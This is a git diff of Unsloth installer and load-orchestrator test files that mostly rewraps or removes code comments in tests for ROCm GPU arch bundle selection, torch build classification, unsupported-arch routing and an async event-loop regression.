test_choice_records_the_concrete_built_archs(self):- # The choice carries the arch pair into the install marker, where the- # runtime GPU gate reads mapped_targets and drops devices outside it- # (#7624). It must be the CONCRETE list: recording the umbrella family- # label instead would match no device's reported arch and gate every GPU- # off the host, silently forcing CPU.+ # The choice carries the arch pair into the install marker, where the runtime GPU gate reads mapped_targets and+ # drops devices outside it (#7624). It must be the CONCRETE list: recording the umbrella family label instead+ # would match no device's reported arch and gate every GPU off the host, silently forcing CPU.release = self._release("linux-rocm", "app-b9457-linux-x64-rocm")choice = INSTALL_LLAMA_PREBUILT.published_rocm_choice_for_host(release, self._host("gfx1100"), "linux-rocm"@@ -3057,10 +3020,9 @@ class TestPublishedRocmGfxSelection:assert choice.mapped_targets == ["gfx1100", "gfx1101", "gfx1102", "gfx1103"]def test_family_token_match_still_records_concrete_archs(self):- # The update path forwards the family token (gfx110X) rather than a- # concrete arch, so selection matches on gfx_target instead of on the- # mapped list. That branch must record the same concrete archs -- this is- # the one path where the matched token itself is NOT a device arch.+ # The update path forwards the family token (gfx110X) rather than a concrete arch, so selection matches on+ # gfx_target instead of on the mapped list. That branch must record the same concrete archs -- this is the one+ # path where the matched token itself is NOT a device arch.release = self._release("linux-rocm", "app-b9457-linux-x64-rocm")for token in ("gfx110X", "gfx110x"):choice = INSTALL_LLAMA_PREBUILT.published_rocm_choice_for_host(@@ -3082,8 +3044,8 @@ class TestPublishedRocmGfxSelection:assert choice.name == "app-b9457-linux-x64-rocm-gfx110X.tar.gz", tokendef test_windows_family_token_matches_family_bundle(self):- # The Windows update path forwards the same family token (gfx120X), so the- # family-label match must cover windows-rocm too.+ # The Windows update path forwards the same family token (gfx120X), so the family-label match must cover+ # windows-rocm too.release = self._release("windows-rocm", "app-b9457-windows-x64-rocm")choice = INSTALL_LLAMA_PREBUILT.published_rocm_choice_for_host(release, self._host("gfx120x"), "windows-rocm"@@ -3098,8 +3060,7 @@ class TestPublishedRocmBundleCoverage:no bundle covers it is silent: the GPU works for training and drops to a HIPsource build for inference, which is correct but much slower to install."""- # mapped_targets of each published ROCm bundle, mirroring- # unslothai/llama.cpp's llama-prebuilt-manifest.json.+ # mapped_targets of each published ROCm bundle, mirroring unslothai/llama.cpp's llama-prebuilt-manifest.json.PUBLISHED = {"gfx103X": ["gfx1030", "gfx1031", "gfx1032", "gfx1034"],"gfx110X": ["gfx1100", "gfx1101", "gfx1102", "gfx1103"],@@ -3171,8 +3132,8 @@ class TestPublishedRocmBundleCoverage:KNOWN_GAPS, not an unnoticed drop to source builds."""import re- # Read the table from source rather than importing the installer module,- # which pulls in a heavy dependency chain this suite does not need.+ # Read the table from source rather than importing the installer module, which pulls in a heavy dependency chain+ # this suite does not need.stack = (PACKAGE_ROOT / "studio" / "install_python_stack.py").read_text(encoding = "utf-8")body = re.search(r"_GFX_TO_AMD_INDEX_ARCH.*?=\s*\{(.*?)\n\}", stack, re.S)assert body, "_GFX_TO_AMD_INDEX_ARCH not found in install_python_stack.py"@@ -3378,9 +3339,8 @@ class TestResolveUpstreamAssetChoice:assert result.name == namedef test_windows_blackwell_drops_incapable_cuda_to_cpu(self, monkeypatch):- # A Blackwell host on a 13.1 driver gets cuda-13.3 gated off and only the- # sm_120-incapable cuda-12.4 build left; it must fall through to the CPU- # bundle rather than be handed a GPU build it cannot offload.+ # A Blackwell host on a 13.1 driver gets cuda-13.3 gated off and only the sm_120-incapable cuda-12.4 build left;+ # it must fall through to the CPU bundle rather than be handed a GPU build it cannot offload.names = [f"llama-{self.TAG}-bin-win-cuda-13.3-x64.zip","cudart-llama-bin-win-cuda-13.3-x64.zip",@@ -3609,8 +3569,8 @@ class TestLinuxArm64ForkFallsBackToSource:assert plans == ["plan"]def test_x86_64_fork_delegates_to_manifest_resolver(self, monkeypatch):- # The old linux-x64 arch guard is gone: x64 fork hosts route to the manifest- # resolver like every other fork host, not a separate filename-parsing path.+ # The old linux-x64 arch guard is gone: x64 fork hosts route to the manifest resolver like every other fork+ # host, not a separate filename-parsing path.called = {}def _full(llama_tag, host, repo, tag, **_kw):@@ -3624,9 +3584,8 @@ class TestLinuxArm64ForkFallsBackToSource:assert plans == ["plan"]def test_arm64_cpu_on_ggml_org_is_not_blocked(self, monkeypatch):- # ggml-org is reachable only via an explicit --published-repo override now,- # but the guard must still not fire on arm64 there; it reaches the iterator- # (empty here -> generic message).+ # ggml-org is reachable only via an explicit --published-repo override now, but the guard must still not fire+ # on arm64 there; it reaches the iterator (empty here -> generic message).monkeypatch.setattr(INSTALL_LLAMA_PREBUILT,"iter_release_payloads_by_time",@@ -3731,9 +3690,8 @@ class TestCpuFallback:def test_setup_sh_has_arm64_cpu_prebuilt_fallback(self):source = self._SETUP_SH.read_text(encoding = "utf-8")- # The arm64 GPU last-resort CPU fallback now pulls the fork's arm64 CPU- # bundle (app-<tag>-linux-arm64-cpu.tar.gz), not ggml-org's, and is gated- # on a degraded source build for arm64.+ # The arm64 GPU last-resort CPU fallback now pulls the fork's arm64 CPU bundle+ # (app-<tag>-linux-arm64-cpu.tar.gz), not ggml-org's, and is gated on a degraded source build for arm64.start = source.index("_ARM64_CPU_CMD=(")end = source.index(")", start)block = source[start:end]@@ -4274,9 +4232,8 @@ class TestExactSourceAssetUrl:)def test_resolves_through_real_parser_chain(self):- # The cases above hand-build ApprovedReleaseChecksums; this exercises the- # production path they bypass: parse_approved_release_checksums ->- # preferred_source_archive -> exact_source_asset_url, so a regression in the+ # The cases above hand-build ApprovedReleaseChecksums; this exercises the production path they bypass:+ # parse_approved_release_checksums -> preferred_source_archive -> exact_source_asset_url, so a regression in the# parser/selection wiring can't pass while only the helper unit tests stay green.payload = {"schema_version": 1,diff --git a/tests/studio/install/test_setup_denied_install_tree.py b/tests/studio/install/test_setup_denied_install_tree.pyindex 506a82e1953..e39f1ca64b7 100644--- a/tests/studio/install/test_setup_denied_install_tree.py+++ b/tests/studio/install/test_setup_denied_install_tree.py@@ -125,8 +125,8 @@ def test_ownership_guard_distinguishes_denied_from_unowned():in guard)assert '$markerState -eq "Denied"' in guard- # The old wording blamed ownership, which is unknowable while the tree is- # unreadable; it must stay for the genuinely-unowned case only.+ # The old wording blamed ownership, which is unknowable while the tree is unreadable; it must stay for the+ # genuinely-unowned case only.assert "is not marked as an Unsloth-owned $Label" in guard# Both stops stay gated, so default-home installs behave exactly as before.assert guard.count("$StudioHomeIsCustom -and") >= 3@@ -362,8 +362,7 @@ def test_the_whisper_phase_survives_an_unreadable_whisper_tree():r'if \(\$NonFatal\) \{ return "Denied" \}\n\s*Exit-PathAccessDenied -Path \$Path', guard)assert len(paired) == guard.count("Exit-PathAccessDenied -Path $Path"), guard- # No unpaired return: one above the custom-home gate would call a fresh- # install unreadable.+ # No unpaired return: one above the custom-home gate would call a fresh install unreadable.assert len(paired) == guard.count('if ($NonFatal) { return "Denied" }'), guardassert len(paired) >= 3, guard# Only the denial is handed back; an unowned tree must still stop.@@ -381,8 +380,7 @@ def test_the_whisper_phase_survives_an_unreadable_whisper_tree():# The whole point is that this stays non-fatal.assert "Exit-SetupFailure" not in denial, denialassert not re.search(r"\bexit \d", denial), denial- # The skip must precede the branch whose guard would exit. Anchored on that- # branch's body, which survives a hardening of its own probe.+ # The skip must precede the branch whose guard would exit.body = "$whisperArgs = @("assert body in whisper, whisperassert whisper.index("-NonFatal") < whisper.index(body)diff --git a/tests/studio/install/test_torch_probe_classification_parity.py b/tests/studio/install/test_torch_probe_classification_parity.pyindex 2b9aced2537..2c41cd983e7 100644--- a/tests/studio/install/test_torch_probe_classification_parity.py+++ b/tests/studio/install/test_torch_probe_classification_parity.py@@ -51,43 +51,31 @@ _SOURCE = _STACK_PATH.read_text(encoding = "utf-8")_TREE = ast.parse(_SOURCE, str(_STACK_PATH))-# The torch states the classification has to agree on. Each is-# (torch.__version__, torch.version.hip, torch.version.cuda) as the probe reports them.+# The torch states the classification has to agree on.+# Each is (torch.__version__, torch.version.hip, torch.version.cuda) as the probe reports them._TORCH_STATES = [- # CUDA, tagged("2.9.1+cu128", "", "12.8"),("2.7.1+cu118", "", "11.8"),("2.11.0+cu130", "", "13.0"),("2.10.0+cu126", "", "12.6"),- # CUDA, untagged wheel: torch.version.cuda is the only clue("2.11.0", "", "13.0"),("2.9.1", "", "12.8"),- # ROCm, by hip("2.10.0+rocm7.1", "7.1.12345", ""),("2.9.1+rocm6.3", "6.3.42134", ""),("2.11.0+rocm7.2", "7.14.60850", ""),- # ROCm, flagged by the version string only("2.9.1+rocm6.4", "", ""),("2.10.0+rocmsdk20250901", "", ""),- # XPU, in and out of the supported range("2.6.0+xpu", "", ""),("2.9.1+xpu", "", ""),("2.10.0+xpu", "", ""),("2.5.1+xpu", "", ""),("2.11.0+xpu", "", ""),("3.0.0+xpu", "", ""),- # CPU("2.9.1+cpu", "", ""),("2.10.0", "", ""),- # macOS arm64("2.9.1", "", ""),- # Degenerate("", "", ""),("2.9.1", "7.1", "12.8"), # both set: hip must win- # Case. Every consumer lowercases before matching, and these are the only states- # that can tell a missing .lower() apart: each substring test below has to be the- # deciding one, so nothing else may independently mark the build as a GPU.- # Without them a dropped .lower() passes the whole matrix, which it did.("2.9.1+ROCM6.4", "", ""),("2.10.0+XPU", "", ""),("2.9.1+CU128", "", ""),@@ -136,10 +124,8 @@ def _if_test_containing(fn_name, needle, env):raise AssertionError(f"{fn_name}: no `if` test containing {needle!r}")-# Reference implementations: the probe expressions as they stood at the merge base.-# Reproduced verbatim, only re-indented from the `-c` strings they lived in.--+# Reference implementations: the probe expressions as they stood at the merge base. Reproduced verbatim, only+# re-indented from the `-c` strings they lived in.def _old_cuda_fields(ver, hip, cuda):"""merge base studio/install_python_stack.py:2339-2346 (_ensure_cuda_torch)."""ver = ver.lower()diff --git a/tests/studio/install/test_torch_probe_memoization.py b/tests/studio/install/test_torch_probe_memoization.pyindex 7c636721816..af497bd761c 100644--- a/tests/studio/install/test_torch_probe_memoization.py+++ b/tests/studio/install/test_torch_probe_memoization.py@@ -313,7 +313,6 @@ class TestConsumersShareTheProbe:def test_probe_installed_torch_version_uses_the_shared_result(self):with patch.object(stack_mod.subprocess, "run", return_value = _probe_result()) as mock_run:assert stack_mod._probe_installed_torch_version() == "2.9.1+cu128"- # Second consumer, same run: no new interpreter.assert stack_mod._probe_installed_torch_version() == "2.9.1+cu128"assert mock_run.call_count == 1diff --git a/tests/studio/install/test_unsupported_arch_routing_guards_8529.py b/tests/studio/install/test_unsupported_arch_routing_guards_8529.pyindex c2e7c99d882..c3064b8e7c2 100644--- a/tests/studio/install/test_unsupported_arch_routing_guards_8529.py+++ b/tests/studio/install/test_unsupported_arch_routing_guards_8529.py@@ -69,19 +69,18 @@ stack_mod = _load_stack_module()# The four arches the messaging table owns. Nothing here may produce an index._UNSUPPORTED_ARCHES = ["gfx803", "gfx1010", "gfx1011", "gfx1012"]-# The same arches as the installers may actually receive them. UNSLOTH_ROCM_GFX_ARCH-# is user-typed (so any case), and a gcnArchName copied out of hipinfo/rocminfo carries-# the target features ("gfx1010:xnack-"), which is why the override reader lowercases-# and splits on ":". A routing bypass written against a prefix would take these too.+# The same arches as the installers may actually receive them.+# UNSLOTH_ROCM_GFX_ARCH is user-typed (so any case), and a gcnArchName copied out of hipinfo/rocminfo carries the target+# features ("gfx1010:xnack-"), which is why the override reader lowercases and splits on ":".+# A routing bypass written against a prefix would take these too._UNSUPPORTED_ARCH_INPUTS = (_UNSUPPORTED_ARCHES+ [a.upper() for a in _UNSUPPORTED_ARCHES]+ [f"{a}:xnack-" for a in _UNSUPPORTED_ARCHES])-# Arches that MUST route, so that "no index" cannot pass for the right answer when the-# table has been renamed, emptied or parsed wrong. gfx1030 is RDNA 2 (RX 6800 XT) and-# gfx1100 is RDNA 3 (RX 7900 XTX); both ship AMD wheels today.+# Arches that MUST route, so that "no index" cannot pass for the right answer when the table has been renamed, emptied+# or parsed wrong. gfx1030 is RDNA 2 (RX 6800 XT) and gfx1100 is RDNA 3 (RX 7900 XTX); both ship AMD wheels today._ROUTABLE_ARCHES = [("gfx1030", "gfx103X-all"), ("gfx1100", "gfx110X-all")]@@ -107,8 +106,8 @@ class TestPythonIndexResolversAreAskedDirectly:@pytest.mark.parametrize("arch", _UNSUPPORTED_ARCH_INPUTS)@pytest.mark.parametrize("is_windows", [False, True], ids = ["linux", "windows"])def test_no_unsupported_arch_gets_an_index_url(self, arch, is_windows):- # IS_WINDOWS is read inside _amd_arch_index_url, so both platform arms are- # reachable from this host; the Windows arm is the one #8529 was filed from.+ # IS_WINDOWS is read inside _amd_arch_index_url, so both platform arms are reachable from this host; the Windows+ # arm is the one #8529 was filed from.with patch.object(stack_mod, "IS_WINDOWS", is_windows):url = stack_mod._amd_arch_index_url(arch)assert url is None, f"{arch} was routed to {url!r}; it must fall through to CPU torch"@@ -218,12 +217,10 @@ class TestInstallShIndexFamilyRuns:# ── install.sh's whole index selector, executed under sh ─────────────────────--# What get_torch_index_url calls that is not in the two functions extracted below. Each-# stub is the shape of a host with an AMD GPU, no NVIDIA GPU and no readable ROCm-# userspace, the arrangement that carries a user-pinned arch all the way to the routing-# decision. The probe stub reproduces the override arm of the real _probe_amd_gfx_arch-# so a case-shifted pin arrives at the selector as it would on a real host.+# What get_torch_index_url calls that is not in the two functions extracted below.+# Each stub is the shape of a host with an AMD GPU, no NVIDIA GPU and no readable ROCm userspace, the arrangement that+# carries a user-pinned arch all the way to the routing decision. The probe stub reproduces the override arm of the+# real _probe_amd_gfx_arch so a case-shifted pin arrives at the selector as it would on a real host._INDEX_URL_STUBS = """uname() { case "$1" in -m) echo x86_64 ;; *) echo Linux ;; esac; }_has_usable_nvidia_gpu() { return 1; }@@ -253,8 +250,8 @@ def _run_sh_get_torch_index_url(arch: str, rocm_tag: str = "") -> "tuple[str, st+ "\nget_torch_index_url\n")env = dict(os.environ)- # The two pins short-circuit the whole selector, and a mirror override would- # rewrite the base out from under the assertions.+ # The two pins short-circuit the whole selector, and a mirror override would rewrite the base out from under the+ # assertions.for _v in ("UNSLOTH_TORCH_INDEX_URL","UNSLOTH_TORCH_INDEX_FAMILY",@@ -320,21 +317,19 @@ class TestInstallShIndexSelectorRuns:assert url.endswith("/rocm6.4"), f"the AMD branch was not reached: {url!r}"-# ── studio/setup.sh: the unsupported lookup is report-only ───────────────────--# setup.sh forwards `--rocm-gfx "$_setup_gfx"` to install_llama_prebuilt.py and the whisper# installer, and keys the supported table on $_setup_mkt. The unsupported lookup exists to# print a line, so its result must not flow into either: assigning it to _setup_gfx passes# every arch assertion in this file and still ships --rocm-gfx gfx803.+_SETUP_SH_UNSUPPORTED_HELPERS = ("_setup_unsupported_gfx_any", "_setup_unsupported_gfx_from_name")_ROUTED_SETUP_VARS = ("_setup_gfx", "_setup_mkt")-# Assignment targets anywhere in a line, not only at its start: the lookup is-# captured mid-condition (`elif _setup_unsup_gfx=$(...); then`), which is exactly-# where the routed variable would be substituted for the report-only one.+# Assignment targets anywhere in a line, not only at its start: the lookup is captured mid-condition+# (`elif _setup_unsup_gfx=$(...); then`), which is exactly where the routed variable would be substituted for the+# report-only one._SH_ASSIGN_TARGET = re.compile(r"(?:^|[;&|(]|\s)([A-Za-z_][A-Za-z0-9_]*)=")@@ -355,8 +350,8 @@ def test_setup_sh_never_feeds_the_unsupported_lookup_into_a_routed_variable():f"That variable selects --rocm-gfx for the llama.cpp and whisper installers, "f"so an uncovered card would be built for as if it had wheels")- # The same ban one hop later: capturing the lookup in its own variable and then- # copying that into the routed one is the same mutation written in two lines.+ # The same ban one hop later: capturing the lookup in its own variable and then copying that into the routed one is+ # the same mutation written in two lines.relayed = [line.strip()for line in code@@ -429,9 +424,9 @@ def _ps_arches(block: str) -> "list[str]":return re.findall(r"""['"]?(gfx[0-9a-z]+)(?![0-9a-zA-Z-])""", stripped)-# Each PowerShell routing table, checked in its OWN file. The parity test in-# test_rocm_arch_table_parity.py compares the copies against each other, which stays-# green when the same wrong arch is added to all of them.+# Each PowerShell routing table, checked in its OWN file.+# The parity test in test_rocm_arch_table_parity.py compares the copies against each other, which stays green when the+# same wrong arch is added to all of them._PS_TABLES = [(_INSTALL_PS1, "$archFamilyMap = @{", "{", "}"),(_SETUP_PS1, "$archFamilyMap = @{", "{", "}"),@@ -439,9 +434,8 @@ _PS_TABLES = []_PS_TABLE_IDS = [f"{p.name}:{h.split()[0][1:]}" for p, h, _o, _c in _PS_TABLES]-# Every way PowerShell can change $archFamilyMap: a keyed assignment, a rebind, a-# merge, or one of the IDictionary mutators. Reads (`.ContainsKey($a)`, `$map[$a]`-# as a value) deliberately do not match.+# Every way PowerShell can change $archFamilyMap: a keyed assignment, a rebind, a merge, or one of the IDictionary+# mutators. Reads (`.ContainsKey($a)`, `$map[$a]` as a value) deliberately do not match._PS_MAP_WRITE = re.compile(r"\$archFamilyMap\s*(?:\[[^\]]*\]\s*=(?!=)|=(?!=)|\+=|\.\s*(?:Add|Remove|Clear|set_Item)\s*\()",re.IGNORECASE,@@ -490,8 +484,8 @@ class TestPowerShellRoutingTables:f"{path.name}: $archFamilyMap is modified after its declaration ({writes}), "f"so the routing this file checks is not the routing the installer performs")- # Positive control: the map is still consulted below the declaration, so the- # region searched above is the one a late addition would have to live in.+ # Positive control: the map is still consulted below the declaration, so the region searched above is the one a+ # late addition would have to live in.assert ("$archFamilyMap.ContainsKey" in rest), f"{path.name}: nothing reads $archFamilyMap any more (renamed or removed?)"@@ -515,9 +509,9 @@ class TestPowerShellMapEvaluated:f"}}\n"f"if ($archFamilyMap.ContainsKey('gfx1030')) {{ 'CONTROL_OK' }}\n")- # run_pwsh, not subprocess.run: the returncode assertion below reads a non-zero exit- # as $archFamilyMap failing to evaluate, and a signal-killed interpreter would be- # filed as that same map being broken. See tests/_shared/unsloth_pwsh_runner.py.+ # run_pwsh, not subprocess.run: the returncode assertion below reads a non-zero exit as $archFamilyMap failing+ # to evaluate, and a signal-killed interpreter would be filed as that same map being broken.+ # See tests/_shared/unsloth_pwsh_runner.py.out = run_pwsh(["pwsh", "-NoProfile", "-NonInteractive", "-Command", script],stdout = subprocess.PIPE,@@ -546,9 +540,9 @@ class TestPowerShellMapEvaluated:f"}}\n"f"if ($_rocmWheelArches -contains 'gfx1030') {{ 'CONTROL_OK' }}\n")- # run_pwsh, not subprocess.run: a crashed interpreter prints nothing, so the- # CONTROL_OK check below would see the positive control missing and report- # setup.ps1's $_rocmWheelArches as wrong. See tests/_shared/unsloth_pwsh_runner.py.+ # run_pwsh, not subprocess.run: a crashed interpreter prints nothing, so the CONTROL_OK check below would see+ # the positive control missing and report setup.ps1's $_rocmWheelArches as wrong.+ # See tests/_shared/unsloth_pwsh_runner.py.out = run_pwsh(["pwsh", "-NoProfile", "-NonInteractive", "-Command", script],stdout = subprocess.PIPE,@@ -593,7 +587,6 @@ def test_the_strix_reroute_names_no_unsupported_arch(source_path, pattern):# ── The CPU summary must blame the card the fallback is actually about ───────-_SUMMARY_GUARD_ANCHOR = "_covered_disp_gfx=$(_infer_linux_amd_gfx_arch"@@ -696,7 +689,6 @@ class TestInstallShCpuSummaryBlamesTheRightCard:# ── setup.sh's KFD report must blame the right card too ──────────────────────-_SETUP_SH_FUNCS = ("_setup_supported_gfx_from_name","_setup_unsupported_gfx_from_name",@@ -782,8 +774,8 @@ class TestSetupShReportBlamesTheRightCard:stderr = subprocess.DEVNULL,text = True,timeout = 30,- # sh itself still has to be found; the point is that lspci is not on PATH,- # so a fallback that ran would come back empty and fail this.+ # sh itself still has to be found; the point is that lspci is not on PATH, so a fallback that ran would+ # come back empty and fail this.env = {"PATH": os.path.dirname(shutil.which("sh") or "/bin")},)assert out.stdout.strip() == "gfx803"@@ -882,7 +874,6 @@ def test_setup_sh_treats_a_blank_index_pin_as_unset(url, family, pinned):# ── The five unsupported tables must agree, not merely exist ─────────────────-_PARITY_NAMES = [# RDNA 1 (Navi 10 / 12 / 14), the #8529 cluster"AMD Radeon RX 5700 XT",@@ -959,9 +950,9 @@ def _ps_unsupported(path: Path, names):f" Write-Output $hit\n"f"}}\n")- # run_pwsh, not subprocess.run: this run's stdout is compared line by line against the- # Python table, so an interpreter that died mid-list would show up as the PowerShell- # name-to-arch rows disagreeing. See tests/_shared/unsloth_pwsh_runner.py.+ # run_pwsh, not subprocess.run: this run's stdout is compared line by line against the Python table, so an+ # interpreter that died mid-list would show up as the PowerShell name-to-arch rows disagreeing.+ # See tests/_shared/unsloth_pwsh_runner.py.out = run_pwsh(["pwsh", "-NoProfile", "-NonInteractive", "-Command", script],stdout = subprocess.PIPE,diff --git a/tests/studio/install/test_windows_torch_flavor_invariant.py b/tests/studio/install/test_windows_torch_flavor_invariant.pyindex 910f0fa6255..900fefbb6a3 100644--- a/tests/studio/install/test_windows_torch_flavor_invariant.py+++ b/tests/studio/install/test_windows_torch_flavor_invariant.py@@ -95,8 +95,8 @@ class TestSetupPs1NoWipeEscape:assert clause in condition, f"the escape must be gated on {clause!r}"def test_the_installed_tag_is_tested_before_the_variables_it_implies(self):- # $_pinnedIdx and $expectedTorchTag are assigned only inside `if (-not- # $shouldRebuild)`, so under Set-StrictMode the other -and order is a fatal read.+ # $_pinnedIdx and $expectedTorchTag are assigned only inside `if (-not $shouldRebuild)`, so under+ # Set-StrictMode the other -and order is a fatal read.start = _SETUP_SRC.index("if ($shouldRebuild -and -not $InstallerManagedSetup -and\n")condition = _SETUP_SRC[start : _SETUP_SRC.index("{", start)]assert condition.index("$installedTorchTag -and") < condition.index("$_pinnedIdx")@@ -271,8 +271,7 @@ class TestStepThirteenWiring:)def test_the_existing_repair_set_is_untouched(self):- # Step 2b (which Windows enters; the four helpers return early there) and the- # Linux-only step 13.+ # Step 2b (which Windows enters; the four helpers return early there) and the Linux-only step 13.guards = _guards_containing("_ensure_cuda_torch")assert [ast.unparse(guard.test) for guard in guards] == ["not IS_MACOS and (not NO_TORCH)",@@ -351,8 +350,7 @@ class TestManifestRecordsTheFlavor:assert install_manifest.recorded_torch_flavor(tmp_path) == "cu128"def test_absent_reads_as_unknown_not_cpu(self, tmp_path):- # Claiming a flavor nobody selected would let a repair reinstall over a- # deliberate build.+ # Claiming a flavor nobody selected would let a repair reinstall over a deliberate build.install_manifest.write_manifest(root = tmp_path, req_root = tmp_path)assert install_manifest.recorded_torch_flavor(tmp_path) is Nonediff --git a/tests/studio/load_freeze/llama_server_shim.py b/tests/studio/load_freeze/llama_server_shim.pyindex a6efce95b9d..ed2ad90d2ad 100644--- a/tests/studio/load_freeze/llama_server_shim.py+++ b/tests/studio/load_freeze/llama_server_shim.py@@ -100,8 +100,8 @@ class _Handler(BaseHTTPRequestHandler):self._send_raw(srv.config.tok_status, srv.config.tok_body)returncontent = str(body.get("content", ""))- # tok_response_map injects a token count per input text (e.g. the- # one-token cases for csm / bicodec / dac detection branches).+ # tok_response_map injects a token count per input text (e.g. the one-token cases for csm / bicodec / dac+ # detection branches).if content in srv.config.tok_response_map:tokens = list(srv.config.tok_response_map[content])else:diff --git a/tests/studio/load_freeze/test_load_orchestrator.py b/tests/studio/load_freeze/test_load_orchestrator.pyindex b6aa21dbefd..fa343cd5c0c 100644--- a/tests/studio/load_freeze/test_load_orchestrator.py+++ b/tests/studio/load_freeze/test_load_orchestrator.py@@ -17,7 +17,6 @@ from pathlib import Pathimport pytest-# Repo discoverydef _find_repo_root() -> Path | None:env = os.environ.get("UNSLOTH_REPO_ROOT")if env:@@ -50,9 +49,9 @@ import logging as _logging # noqa: E402_loggers_stub = types.ModuleType("loggers")_loggers_stub.get_logger = lambda name: _logging.getLogger(name)sys.modules.setdefault("loggers", _loggers_stub)-# structlog is a hard studio.txt requirement imported only lazily, so a bare setdefault would-# shadow the real package. Stub only a genuinely absent one (check sys.modules first: find_spec()-# raises ValueError on another module's bare stub), then backfill get_logger.+# structlog is a hard studio.txt requirement imported only lazily, so a bare setdefault would shadow the real package.+# Stub only a genuinely absent one (check sys.modules first: find_spec() raises ValueError on another module's bare+# stub), then backfill get_logger._structlog = sys.modules.get("structlog")if _structlog is None and importlib.util.find_spec("structlog") is None:_structlog = sys.modules.setdefault("structlog", types.ModuleType("structlog"))@@ -68,7 +67,6 @@ from core.inference.llama_cpp import LlamaCppBackend # noqa: E402from llama_server_shim import FakeLlamaServer # noqa: E402-# Fixtures / helpersdef _make_backend(port: int, *, loaded: bool = True) -> LlamaCppBackend:b = LlamaCppBackend.__new__(LlamaCppBackend)b._port = port@@ -147,7 +145,6 @@ def _build_app(backend, *, wrap_in_thread: bool):@app.get("/loop-thread")async def loop_thread():# An async route body runs on the event loop, so this is the loop's thread id.- # Tests compare it against the thread detect_audio_type actually ran on.return {"ident": threading.get_ident()}if wrap_in_thread:@@ -199,10 +196,9 @@ def _drive_concurrent_probe_and_health(return max(latencies), elapsed, latencies-# Used only by the canary below, which asserts a LOWER bound: that the pre-#5642 route-# does hold /health. Measured with the shim's 0.6 + 0.6 second delays, the blocking route-# holds it for 1.72s and does so every time (1.719, 1.729, 1.721, 1.719, 1.727 over five-# runs), so contention can only push that number further above the bound, never below it.+# Used only by the canary below, which asserts a LOWER bound: that the pre-#5642 route does hold /health. Measured with+# the shim's 0.6 + 0.6 second delays, the blocking route holds it for 1.72s and does so every time (1.719, 1.729, 1.721,+# 1.719, 1.727 over five runs), so contention can only push that number further above the bound, never below it._MAX_HEALTH_LATENCY_SEC = 0.25# Neither a latency budget nor a performance claim. Every wait it bounds is either@@ -236,11 +232,10 @@ class _GatedProbe:self.calls += 1self.thread_ident = threading.get_ident()self.entered.set()- # Deliberately the LONGEST wait in the file. If the route is blocking the loop,- # the /health calls have to be the ones that give up first, because they are the- # ones that can say so; a gate that let go earlier would unblock the loop, let- # those calls succeed late, and turn a clear diagnosis into a confusing one.- # This is a last-resort release so the server can still shut down.+ # Deliberately the LONGEST wait in the file. If the route is blocking the loop, the /health calls have to be+ # the ones that give up first, because they are the ones that can say so; a gate that let go earlier would+ # unblock the loop, let those calls succeed late, and turn a clear diagnosis into a confusing one. This is a+ # last-resort release so the server can still shut down.if not self.released.wait(_DEADLOCK_GUARD_SEC * 3):raise AssertionError(f"the gated probe was never released within {_DEADLOCK_GUARD_SEC * 3}s; "@@ -308,7 +303,6 @@ def _health_burst(return codes-# (1) Behavioural canarydef test_buggy_route_blocks_event_loop():"""Sync detect_audio_type call inside async route stalls /health."""with FakeLlamaServer(tok_delay = 0.6, detok_delay = 0.6) as shim:@@ -350,8 +344,8 @@ def test_fixed_route_keeps_event_loop_responsive():)codes = _health_burst(base, 12)assert codes == [200] * 12, f"/health returned {codes}"- # Nothing has released the call, so all twelve were answered with a- # synchronous detect_audio_type still in flight. That is the property.+ # Nothing has released the call, so all twelve were answered with a synchronous detect_audio_type still+ # in flight. That is the property.assert not gate.released.is_set()assert not probe_f.done(), "/probe returned before the gate was released"finally:@@ -365,7 +359,6 @@ def test_fixed_route_keeps_event_loop_responsive():)-# (2) Functional equivalence -- sync == to_thread for each codec branch@pytest.fixturedef shim_no_match():"""Shim whose responses make detect_audio_type fall through every codec branch -> None."""@@ -396,7 +389,6 @@ def test_functional_equivalence_no_match(shim_no_match):def test_functional_equivalence_snac_match():- # snac: both _detok(128258) and _detok(128259) start with "<custom_token_".with FakeLlamaServer(detok_map = {128258: "<custom_token_99>", 128259: "<custom_token_98>"}) as srv:@@ -478,7 +470,6 @@ def test_functional_equivalence_bicodec_match():assert sync_result == threaded-# (3) Failure modesdef test_shim_returns_500_on_tokenize_returns_none():"""Non-200 responses fall through to None on both sync and threaded paths."""with FakeLlamaServer(@@ -514,7 +505,7 @@ def test_shim_connection_reset_returns_none():def test_unreachable_port_returns_none():"""ConnectError on a dead port is swallowed -> None."""- backend = _make_backend(_free_port()) # nothing listening+ backend = _make_backend(_free_port())assert backend.detect_audio_type() is Noneassert asyncio.run(asyncio.to_thread(backend.detect_audio_type)) is None@@ -533,7 +524,6 @@ def test_backend_not_loaded_short_circuits():assert threaded_t < 0.05-# (4) Stress / concurrencydef test_50_concurrent_probes_complete_without_deadlock():"""50 parallel /probe calls must not deadlock or serialise."""with FakeLlamaServer(tok_delay = 0.05, detok_delay = 0.05) as shim:@@ -606,8 +596,8 @@ def test_load_model_caches_audio_type_inside_serial_load_lock():assert ("with self._serial_load_lock" in text), "LlamaCppBackend.load_model must hold self._serial_load_lock"- # Either call shape satisfies the guard; _detect_audio_type_strict was a- # follow-up to distinguish definitive non-audio from transient probe failure.+ # Either call shape satisfies the guard; _detect_audio_type_strict was a follow-up to distinguish+ # definitive non-audio from transient probe failure.assert ("self._audio_type = self.detect_audio_type()" in textor "detected = self.detect_audio_type()" in text@@ -642,8 +632,7 @@ def test_no_other_async_route_calls_detect_audio_type_unwrapped():that reintroduces the sync bug and the load race the lock fix closes."""routes_dir = _REPO_ROOT / "studio" / "backend" / "routes"offenders = []- # Matches both llama_backend. and self. prefixes; the model_config free- # function helper is excluded below.+ # Matches both llama_backend. and self. prefixes; the model_config free function helper is excluded below.pattern = re.compile(r"\b\w+\.detect_audio_type\s*\(")for path in routes_dir.rglob("*.py"):for i, line in enumerate(path.read_text(encoding = "utf-8").splitlines(), start = 1):@@ -663,7 +652,6 @@ def test_no_other_async_route_calls_detect_audio_type_unwrapped():)-# (6) Timing budgetsdef test_load_response_under_2s_with_fast_shim():"""Regression budget: fast shim must complete /probe in <2 s."""with FakeLlamaServer(tok_delay = 0.0, detok_delay = 0.0) as shim:@@ -693,7 +681,6 @@ def test_repeated_loads_bounded_total_time():assert elapsed < 10.0-# (7) Browser-compatibility surfacedef test_response_is_valid_browser_parseable_json():"""The fix must not change the response shape a browser sees (valid JSON, expected keys)."""import json as _json@@ -743,7 +730,6 @@ def test_response_shape_matches_pre_fix_for_no_match():assert body == {"audio_type": None}-# 